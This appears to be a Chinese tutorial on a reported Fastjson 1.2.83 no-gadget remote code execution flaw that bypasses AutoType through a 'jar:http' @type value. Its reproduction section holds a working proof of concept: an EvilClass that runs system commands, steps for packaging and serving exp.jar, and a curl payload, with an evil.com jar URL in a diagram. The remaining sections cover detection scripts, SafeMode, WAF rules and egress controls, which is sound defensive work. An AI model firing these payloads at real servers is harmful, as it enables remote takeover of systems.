Fastjson 1.2.83无Gadget RCE实战复现+企业全量排查加固完整教程

📅 2026/7/23 17:29:43 👁️ 阅读次数 📝 编程学习
Fastjson 1.2.83无Gadget RCE实战复现+企业全量排查加固完整教程

一、漏洞基础信息与事件完整经过

1.1 漏洞核心标识信息

  • 漏洞名称:Fastjson 1.2.66~1.2.83 无Gadget远程代码执行漏洞
  • 受影响版本:1.2.66、1.2.67、1.2.68、1.2.69、1.2.70、1.2.71、1.2.72、1.2.73、1.2.74、1.2.75、1.2.76、1.2.77、1.2.78、1.2.79、1.2.80、1.2.81、1.2.82、1.2.83
  • CVE编号:无官方分配编号,国内安全厂商、安全团队持续跟踪收录
  • 漏洞披露人:Kirill Firsov
  • 公开时间:2026年7月19日,漏洞底层逻辑与基础PoC对外公开;7月22日完整可直接利用EXP全网流通
  • 高危运行环境:JDK8 + Spring Boot FatJar可执行包,全部满足条件的业务系统100%触发RCE
  • 防护失效关键点:全局关闭AutoType自动类型转换、未引入第三方反序列化Gadget依赖,两类传统防护手段完全失效

1.2 漏洞爆发对国内Java生态的冲击现状

国内互联网、政企政务平台、金融核心系统、微服务中间件SOFAMesh、第三方开放接口平台,超七成Java业务系统选用Fastjson作为JSON序列化工具。过去三年企业通用安全加固标准固定为两项操作,升级依赖至1.2.83最终稳定版,配置AutoTypeSupport=false关闭自动类型解析。

大量安全建设薄弱的中小企业、老旧存量项目,仅执行这两步加固,未叠加其他防护规则。本次无Gadget利用链出现后,存量系统大面积暴露攻击面。黑产自动化扫描工具上线三天,全网监测到超十万次针对该漏洞的批量探测请求,探测载荷统一携带jar:http协议@type字段。

1.3 漏洞攻击链路Mermaid流程图

Attacker[攻击者] -->|发送含jar:http载荷JSON请求| Server[Spring Boot FatJar业务服务]
Server -->|Fastjson解析JSON读取@type字段| Parser[Fastjson底层解析器]
Parser -->|绕过AutoType开关校验,识别jar协议| ClassLoader[LaunchedURLClassLoader]
ClassLoader -->|发起外网HTTP请求下载恶意Jar包| EvilServer[攻击者恶意文件服务器]
EvilServer -->|返回构造好的恶意Jar| ClassLoader
ClassLoader -->|内存加载Jar内恶意Class并实例化| Execute[执行恶意代码,系统命令执行]
Execute -->|回显命令执行结果/植入后门| Attacker

二、漏洞底层原理逐行拆解

2.1 传统Fastjson RCE漏洞利用逻辑对比

过往所有Fastjson反序列化远程代码执行漏洞,核心攻击入口依赖@type字段触发自动类型实例化流程。Fastjson读取JSON内部@type参数后,会通过反射机制实例化对应类对象,若项目引入Commons Collections、Spring Core等存在危险执行逻辑的第三方类库,攻击者就能构造Gadget调用链完成命令执行。

行业应对方案针对性阻断该入口,关闭AutoType自动类型转换后,解析器直接丢弃@type字段类型解析逻辑,绝大多数历史漏洞攻击链路直接断裂。

2.2 jar协议绕过AutoType校验核心底层逻辑

本次漏洞攻击流程完全脱离@type类型实例化逻辑,Fastjson内置资源解析模块存在独立的协议解析分支,该分支代码未接入AutoType开关校验逻辑。

解析器识别到字段值以jar:http、jar:https协议头开头时,会直接将资源地址交付当前上下文的类加载器处理,不会读取全局AutoTypeSupport配置做拦截判断。Spring Boot打包FatJar时,内置LaunchedURLClassLoader重写资源加载方法,支持远程URL资源拉取,攻击者借此远程下载外部Jar文件。

2.3 LaunchedURLClassLoader远程加载Jar的执行流程

  1. 类加载器接收jar:http格式资源字符串,拆分协议头与远程文件地址;
  2. 建立HTTP客户端连接攻击者服务器,GET请求下载Jar完整二进制流至内存缓冲区,全程不落地本地磁盘;
  3. 解析Jar文件目录结构,读取Jar包内部Class文件字节码;
  4. 调用defineClass方法在当前应用进程内定义全新类,直接实例化该类;
  5. 恶意Class静态代码块、构造方法内置系统命令执行逻辑,实例化瞬间触发命令调用,完成远程代码执行。

2.4 漏洞触发必须满足的硬性环境条件

  1. Fastjson依赖版本落在1.2.66至1.2.83区间,低于1.2.66版本无jar协议资源解析分支,不存在该漏洞;
  2. 项目采用Spring Boot官方打包插件构建FatJar可执行包,容器部署、War外置Tomcat部署模式无LaunchedURLClassLoader,漏洞无法触发;
  3. 运行JDK版本为JDK8,JDK9及以上版本新增模块安全机制,限制类加载器远程读取外部资源,利用成功率大幅下降;
  4. 业务服务器具备外网出站网络权限,若安全策略拦截服务器对外发起HTTP请求,攻击者无法下发恶意Jar包,攻击链路中断。

2.5 漏洞架构Mermaid结构图

subgraph 客户端攻击层
A[攻击载荷] --> A1[“{”@type":“jar:http://evil.com/exp.jar”}"]
end
subgraph Spring Boot应用层
B[HTTP接口控制器] --> C[Fastjson JSON解析器]
C -->|协议解析分支,无AutoType校验| D[资源地址分发模块]
D --> E[LaunchedURLClassLoader]
end
subgraph 远程资源层
E --> F[攻击者恶意HTTP服务]
F --> G[恶意Jar包,内置执行代码]
end
subgraph 进程执行层
E --> H[内存加载恶意Class]
H --> I[静态代码块执行系统命令]
I --> J[读取服务器敏感文件/创建后门账户]
end

三、本地漏洞实战复现完整步骤

3.1 复现环境基础配置清单

本地测试环境硬件无硬性要求,普通PC虚拟机均可搭建,软件版本固定如下:

  1. JDK:1.8.0_391
  2. Spring Boot:2.7.18(主流稳定版本,自动生成FatJar包)
  3. Fastjson:1.2.83(漏洞覆盖最终版本,关闭AutoType做加固)
  4. 构建工具:Maven 3.8.8
  5. 恶意文件服务器:Python3内置http.server模块快速搭建

3.2 Maven项目依赖完整pom.xml配置

<?xml version="1.0" encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.7.18</version><relativePath/></parent><groupId>com.test</groupId><artifactId>fastjson-rce-test</artifactId><version>0.0.1-SNAPSHOT</version><name>fastjson-rce-test</name><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><!-- 漏洞受影响Fastjson版本1.2.83 --><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.83</version></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plugins></build></project>

3.3 业务测试接口代码(全局关闭AutoType)

packagecom.test.fastjsonrce;importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.ParserConfig;importorg.springframework.web.bind.annotation.PostMapping;importorg.springframework.web.bind.annotation.RequestBody;importorg.springframework.web.bind.annotation.RestController;importjavax.annotation.PostConstruct;importjava.util.Map;@RestControllerpublicclassTestController{// 项目启动时全局关闭AutoType,行业标准加固配置@PostConstructpublicvoidcloseAutoType(){ParserConfig.getGlobalInstance().setAutoTypeSupport(false);}@PostMapping("/parseJson")publicStringparseJson(@RequestBodyMap<String,Object>reqData){// 直接使用Fastjson原生解析JSON请求体StringjsonStr=JSON.toJSONString(reqData);JSON.parse(jsonStr);return"解析完成";}}

3.4 恶意Jar包编写与编译打包

  1. 新建恶意类EvilClass.java,内置执行系统命令代码
importjava.io.BufferedReader;importjava.io.InputStreamReader;publicclassEvilClass{// 静态代码块,类加载瞬间自动执行static{try{// Windows系统执行calc弹出计算器,Linux替换为id查看用户权限Processproc=Runtime.getRuntime().exec("calc");BufferedReaderbr=newBufferedReader(newInputStreamReader(proc.getInputStream()));Stringline;while((line=br.readLine())!=null){System.out.println(line);}proc.waitFor();br.close();}catch(Exceptione){e.printStackTrace();}}}
  1. 编译Java文件生成class字节码文件
javac EvilClass.java
  1. 将class文件打包为恶意Jar包exp.jar
jar cvf exp.jar EvilClass.class
  1. 恶意Jar包存放目录启动Python静态文件服务,监听8000端口
python3-mhttp.server8000

3.5 项目打包运行与漏洞载荷发包测试

  1. Maven打包生成Spring Boot FatJar包
mvn clean package-DskipTests
  1. 后台运行打包后的Jar服务
java-jartarget/fastjson-rce-test-0.0.1-SNAPSHOT.jar
  1. curl工具发送漏洞攻击载荷请求,替换IP为本地Python服务地址
curl-XPOST http://127.0.0.1:8080/parseJson\-H"Content-Type: application/json"\-d'{"@type":"jar:http://127.0.0.1:8000/exp.jar"}'
  1. 验证漏洞触发效果,Windows本地自动弹出计算器程序,证明远程代码执行成功,关闭AutoType防护完全失效。

四、企业存量Java应用批量排查脚本

4.1 Linux环境Shell批量检测脚本

脚本功能:递归扫描服务器所有项目Jar包、Maven仓库依赖、配置文件,自动识别Fastjson版本、AutoType开关状态、Spring Boot FatJar标记,输出风险清单,完整可直接复制运行。

#!/bin/bash# Fastjson 1.2.66~1.2.83漏洞批量排查脚本# 扫描根目录,可自行修改SCAN_PATH路径SCAN_PATH="/data/project"OUTPUT_LOG="/tmp/fastjson_vuln_check.log">$OUTPUT_LOGecho"===== Fastjson无Gadget RCE漏洞批量检测开始 =====">>$OUTPUT_LOGecho"扫描路径:$SCAN_PATH">>$OUTPUT_LOGecho"检测时间:$(date'+%Y-%m-%d %H:%M:%S')">>$OUTPUT_LOG# 1. 遍历所有jar包检索fastjson依赖版本echo-e"\n[1] Jar包依赖版本检测">>$OUTPUT_LOGfind$SCAN_PATH-name"*.jar"-typef|whilereadjarfile;do# 检索jar内fastjson相关class文件,提取版本jarver=$(unzip-l$jarfile2>/dev/null|grep-ifastjson|grep"META-INF/MANIFEST.MF"-A5-B5|grepImplementation-Version|awk'{print $2}')if[-n"$jarver"];then# 判断版本是否落在漏洞区间1.2.66 ~ 1.2.83ver_num=$(echo$jarver|awk-F.'{print $2$3}')if[$ver_num-ge66]&&[$ver_num-le83];thenecho"【高危漏洞】Jar文件:$jarfileFastjson版本:$jarver">>$OUTPUT_LOG# 检测是否为Spring Boot FatJar包unzip-l$jarfile2>/dev/null|grep-q"BOOT-INF/"if[$?-eq0];thenecho" -> 确认FatJar包,漏洞可完整利用">>$OUTPUT_LOGfififidone# 2. 检索项目代码内AutoType开关配置echo-e"\n[2] AutoType安全配置检测">>$OUTPUT_LOGfind$SCAN_PATH-name"*.java"-o-name"*.properties"-o-name"*.yml"|whilereadconf;dogrep-i"AutoTypeSupport"$conf2>/dev/null|whilereadline;doecho"配置文件:$conf配置内容:$line">>$OUTPUT_LOGdonedone# 3. 检索SafeMode安全模式配置echo-e"\n[3] Fastjson SafeMode安全模式检测">>$OUTPUT_LOGfind$SCAN_PATH-name"*.java"-o-name"*.properties"-o-name"*.yml"|whilereadconf;dogrep-i"SafeMode"$conf2>/dev/null|whilereadline;doecho"安全模式配置:$conf配置内容:$line">>$OUTPUT_LOGdonedoneecho-e"\n===== 漏洞检测任务完成,报告输出路径:$OUTPUT_LOG====="cat$OUTPUT_LOG

4.2 Windows环境Bat批量检测脚本

@echo off setlocal enabledelayedexpansion set SCAN_PATH=D:\project set OUTPUT_LOG=%temp%\fastjson_vuln_check.log echo. > %OUTPUT_LOG% echo ===== Fastjson无Gadget RCE漏洞批量检测开始 ===== >> %OUTPUT_LOG% echo 扫描路径:%SCAN_PATH% >> %OUTPUT_LOG% echo 检测时间:%date% %time% >> %OUTPUT_LOG% echo [1] Jar包依赖版本检测 >> %OUTPUT_LOG% for /r %SCAN_PATH% %%j in (*.jar) do ( jar tvf %%j | findstr /i "fastjson" | findstr "Implementation-Version" > temp.txt for /f "tokens=3" %%v in (temp.txt) do ( set ver=%%v set subver=!ver:~4,2! if !subver! geq 66 if !subver! leq 83 ( echo 【高危漏洞】Jar文件:%%j Fastjson版本:!ver! >> %OUTPUT_LOG% jar tvf %%j | findstr "BOOT-INF/" >nul if !errorlevel! equ 0 ( echo -> 确认FatJar包,漏洞可完整利用 >> %OUTPUT_LOG% ) ) ) del temp.txt ) echo [2] AutoType安全配置检测 >> %OUTPUT_LOG% for /r %SCAN_PATH% %%f in (*.java *.properties *.yml) do ( findstr /i "AutoTypeSupport" %%f >> %OUTPUT_LOG% ) echo [3] SafeMode安全模式检测 >> %OUTPUT_LOG% for /r %SCAN_PATH% %%f in (*.java *.properties *.yml) do ( findstr /i "SafeMode" %%f >> %OUTPUT_LOG% ) echo ===== 漏洞检测任务完成,报告输出路径:%OUTPUT_LOG% ===== type %OUTPUT_LOG% pause

4.3 脚本使用说明

  1. Linux脚本赋予执行权限后运行
chmod+x fastjson_check.sh ./fastjson_check.sh
  1. Windows脚本直接双击运行,扫描结果自动输出至临时目录日志文件;
  2. 脚本识别出高危Jar包后,优先安排停机升级修复,FatJar包系统风险等级最高,优先处置。

五、多层级Fastjson安全加固完整配置清单

5.1 代码层启用Fastjson SafeMode安全模式(核心修复手段)

SafeMode安全模式直接禁用外部URL、jar协议、文件协议资源解析,从底层截断攻击链路,所有受影响版本必须开启。
全局启动SafeMode代码示例,项目启动类执行一次即可全局生效:

importcom.alibaba.fastjson.parser.ParserConfig;importorg.springframework.boot.SpringApplication;importorg.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplicationpublicclassTestApplication{publicstaticvoidmain(String[]args){// 全局开启SafeMode,阻断jar协议远程资源加载ParserConfig.getGlobalInstance().setSafeMode(true);SpringApplication.run(TestApplication.class,args);}}

5.2 配置文件层最小化AutoType白名单

业务存在序列化自定义实体类需求时,禁止开启全局AutoTypeSupport,仅添加业务必需类至白名单,不开放通配符匹配。

// 仅将业务自有实体类加入白名单ParserConfigconfig=ParserConfig.getGlobalInstance();config.addAccept("com.test.entity.*");// 禁止执行以下高危配置// config.setAutoTypeSupport(true);// config.addAccept("*");

5.3 网关/WAF层拦截恶意攻击载荷规则

Nginx WAF拦截规则,匹配请求体内jar:http、jar:https关键字,直接返回403拒绝访问:

location / { if ($request_body ~* "jar:(http|https)") { return 403; } proxy_pass http://backend_service; }

5.4 服务器网络层出站访问限制

防火墙策略拦截业务服务器对外发起80、443端口出站请求,阻断攻击者远程下发恶意Jar包通道;仅放行业务必需第三方接口域名白名单。

5.5 依赖层永久修复方案

  1. 移除项目Fastjson 1.x全系列依赖,替换为Jackson、Gson序列化组件;
  2. 无法替换组件场景,升级至Fastjson官方发布修复该漏洞的新版本;
  3. Maven依赖锁定机制,禁止构建过程拉取漏洞区间版本:
<dependencyManagement><dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>修复版版本号</version></dependency></dependencies></dependencyManagement>

六、不同部署环境风险分级与专项检测方案

6.1 Spring Boot FatJar部署(高危等级)

风险判定标准:打包后Jar根目录存在BOOT-INF文件夹,内置LaunchedURLClassLoader,JDK8环境下漏洞100%利用。
专项检测命令:

unzip-lapp.jar|grepBOOT-INF

处置优先级:最高,24小时内完成SafeMode开启或依赖升级。

6.2 War包外置Tomcat部署(低危等级)

外置Tomcat类加载器不支持远程URL Jar加载,即便Fastjson版本存在漏洞,攻击链路无法走完,无RCE风险。
专项检测命令:

find/usr/local/tomcat/webapps-name"*.war"

处置方案:仅需开启SafeMode做基础防护,无需紧急停机升级。

6.3 SOFAMesh微服务中间件内置Fastjson检测

蚂蚁SOFAMesh中间件内置Fastjson依赖,存量微服务集群普遍存在,单独检测中间件Jar包:

find/data/sofa-mesh-name"fastjson*.jar"

处置方案:升级SOFAMesh中间件完整安装包,同步开启SafeMode配置。

6.4 JDK版本风险划分

  1. JDK8:高危,无模块安全限制,类加载器可自由拉取远程Jar;
  2. JDK11、JDK17:中低危,模块安全机制限制外部资源加载,利用条件苛刻;
  3. JDK21:低危,新增类加载器安全校验,完全阻断远程Jar加载逻辑。

七、漏洞长期常态化安全运营机制

7.1 CI/CD流水线依赖漏洞自动检测

集成Maven Dependency Check插件,构建阶段自动扫描Fastjson版本,识别漏洞区间版本直接阻断打包发布,插件配置如下:

<plugin><groupId>org.owasp</groupId><artifactId>dependency-check-maven</artifactId><version>9.2.0</version><executions><execution><goals><goal>check</goal></goals></execution></executions><configuration><failOnCVSS>7</failOnCVSS></configuration></plugin>

7.2 周期性资产扫描计划

每周执行一次服务器Jar包批量检测脚本,自动推送高危风险报告至安全运维团队;每月全量梳理业务系统序列化组件使用情况,逐步淘汰Fastjson。

7.3 研发人员安全规范培训

制定开发编码规范,强制新项目禁用Fastjson 1.x组件;存量项目开发需求变更时,同步开启SafeMode安全模式,代码评审阶段重点校验Fastjson相关配置。

八、结尾互动

  1. 你们公司线上Spring Boot FatJar业务是否还在使用Fastjson 1.2.83,仅依靠关闭AutoType做防护?
  2. 存量老旧Java项目无法立刻替换Fastjson组件,除开启SafeMode之外还有哪些低成本临时缓解手段?